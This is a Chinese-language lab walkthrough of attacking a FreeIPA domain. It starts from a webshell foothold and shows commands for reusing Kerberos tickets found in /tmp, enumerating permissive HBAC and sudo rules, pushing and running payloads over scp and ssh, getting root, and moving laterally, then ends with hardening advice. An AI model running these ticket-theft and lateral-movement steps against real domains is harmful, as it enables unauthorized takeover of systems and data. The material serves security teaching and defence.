攻击 FreeIPA 第三章:攻击路径
字数 1283 2025-08-25 22:59:02
FreeIPA 攻击路径分析与利用教学文档
0x00 实验环境概述
本实验环境是一个配置好的FreeIPA域环境,攻击者初始拥有:
- 一台受FreeIPA管理的Web服务器的WebShell权限
- 通过Poseidon C2框架上线
- 当前用户上下文为
nginxadmin
目标:
- 获取FreeIPA域的管理权限
- 从SQL数据库中提取敏感数据
0x01 初始信息收集
1. 检查当前用户上下文
whoami
# 输出为nginxadmin
2. 确认IPA管理工具位置
which ipa
# 通常位于/usr/bin/ipa
3. 检查临时目录中的Kerberos票据
ls -la /tmp/
# 查找可读的Kerberos CCACHE票据文件
0x02 Kerberos票据利用
1. 验证并应用发现的票据
# 检查票据有效性
klist -c /tmp/[ticket_file]
# 将票据应用到当前会话
export KRB5CCNAME=/tmp/[ticket_file]
2. 枚举nginxadmin账号权限
ipa user-show nginxadmin
重点关注:
- 应用的Sudo规则
- HBAC (Host-Based Access Control)规则
0x03 权限深度分析
1. 查询HBAC规则
ipa hbacrule-show "Web-Admin"
分析结果:
nginxadmin可以访问mysql.westeros.local和web.westeros.local上的所有服务- 这意味着可以使用SSH和SCP
2. 查询Sudo规则
ipa sudorule-show "Web-Sudo"
分析结果:
nginxadmin可以在mysql.westeros.local和web.westeros.local上以任何用户身份执行sudo- 可以运行任意命令
0x04 横向移动实施
1. 通过SCP上传Payload
scp /path/to/payload nginxadmin@mysql.westeros.local:/tmp/
2. 通过SSH执行Payload
ssh nginxadmin@mysql.westeros.local "sudo /tmp/payload"
3. 获取mysql.westeros.local的root权限
由于Sudo规则允许以任何用户执行命令,可以直接获取root shell:
ssh nginxadmin@mysql.westeros.local "sudo -i"
0x05 域管理员权限提升
1. 查找域管理员票据
find /tmp/ -name "*krb*" -type f -exec klist -c {} \; 2>/dev/null
2. 分析admin账户权限
ipa user-show admin
关键信息:
- 属于"admins"和"trust admins"组
- 拥有多个Sudo规则和HBAC规则的成员资格
3. 利用sudo权限获取域控制
方法一:复制并修改票据
cp /tmp/[admin_ticket] /tmp/admin_ticket
chmod 600 /tmp/admin_ticket
export KRB5CCNAME=/tmp/admin_ticket
方法二:直接以root身份上线(更简单)
ssh nginxadmin@target_host "sudo -i"
0x06 最终域控制验证
1. 测试横向移动到其他主机
scp payload admin@vault.westeros.local:/tmp/
ssh admin@vault.westeros.local "/tmp/payload"
2. 确认域管理员权限
ipa user-find
ipa host-find
# 应能列出所有用户和主机
0x07 关键知识点总结
-
FreeIPA权限模型:
- HBAC规则控制主机访问权限
- Sudo规则控制命令执行权限
-
Kerberos票据利用:
- CCACHE票据可被复制和重用
- KRB5CCNAME环境变量控制票据使用
-
权限提升路径:
- 通过枚举发现过度宽松的Sudo规则
- 利用HBAC规则进行服务访问
- 通过现有票据或sudo权限获取更高权限
-
横向移动技术:
- SCP用于文件传输
- SSH配合sudo执行命令
- Kerberos票据重用
0x08 防御建议
-
最小权限原则:
- 严格限制HBAC和Sudo规则
- 避免使用通配符和过于宽松的规则
-
票据管理:
- 限制Kerberos票据的存储位置和权限
- 实施票据生命周期管理
-
监控与审计:
- 监控异常的sudo和SSH活动
- 审计Kerberos票据的使用情况
-
环境加固:
- 限制/tmp目录的权限
- 实施文件完整性监控
通过本教学文档,可以全面了解FreeIPA环境中的攻击路径和利用方法,同时也为防御此类攻击提供了基础思路。